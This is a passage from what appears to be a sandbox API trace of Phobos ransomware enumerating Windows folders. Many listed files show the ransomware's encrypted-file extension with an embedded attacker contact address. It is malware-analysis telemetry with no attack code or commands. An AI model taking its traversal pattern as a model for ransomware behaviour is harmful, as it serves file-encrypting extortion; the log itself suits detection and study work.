ftLastWriteTime.dwLowDateTime=0xecc9d90a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0124.218] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccc3a6f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeccc3a6f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeccc3a6f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PREOOB~1.PHO")) returned 1 [0124.218] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecda89dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecda89dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecda89dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 1 [0124.218] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecda89dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecda89dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecda89dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 0 [0124.218] FindClose (in: hFindFile=0x7b5ee0 | out: hFindFile=0x7b5ee0) returned 1 [0124.218] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.218] FindNextFileW (in: hFindFile=0x7b5ea0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0124.218] FindClose (in: hFindFile=0x7b5ea0 | out: hFindFile=0x7b5ea0) returned 1 [0124.218] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36a4080 | out: hHeap=0xe70000) returned 1 [0124.219] FindNextFileW (in: hFindFile=0x7b5da0, lpFindFileData=0x3d7f508 | out: lpFindFileData=0x3d7f508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3d7f730, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0124.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.220] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0124.220] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0124.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x787a8a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x16, ftLastWriteTime.dwLowDateTime=0x2, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ၺ", cAlternateFileName="\xf790\x3d7\x4080\x36a\x5c\x5c\x3f\x5c\x40a8\x36a\xf260\x3d7\x3939\x133\x08\x01\x4088\x36a")) returned 0xffffffff [0124.220] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.220] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0124.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5ee0 [0124.220] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.220] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x73275b92, ftCreationTime.dwHighDateTime=0x1d5120a, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.220] SetEvent (hEvent=0x52c) returned 1 [0124.220] ResetEvent (hEvent=0x530) returned 1 [0124.220] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0124.220] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 0 [0124.220] FindClose (in: hFindFile=0x7b5ee0 | out: hFindFile=0x7b5ee0) returned 1 [0124.220] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.220] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0124.221] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.221] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36a4080 | out: hHeap=0xe70000) returned 1 [0124.221] FindNextFileW (in: hFindFile=0x7b5da0, lpFindFileData=0x3d7f508 | out: lpFindFileData=0x3d7f508*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3d7f730, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0124.221] FindNextFileW (in: hFindFile=0x7b5da0, lpFindFileData=0x3d7f508 | out: lpFindFileData=0x3d7f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3d7f730, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0124.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7b5aa0 [0124.223] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0124.224] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1025", cAlternateFileName="")) returned 1 [0124.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.226] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.226] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.226] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf4c310, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.226] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.226] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.226] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.227] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.227] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1028", cAlternateFileName="")) returned 1 [0124.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.304] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.304] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf4c310, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf4c310, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf98766, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.304] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecfe4caa, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.304] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece68601, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.304] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece68601, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.304] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.305] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.305] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1029", cAlternateFileName="")) returned 1 [0124.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.306] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.306] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf98766, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf98766, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecfbea32, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.306] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfbea32, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecfbea32, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed031088, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.306] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.306] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.306] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.307] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.307] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: 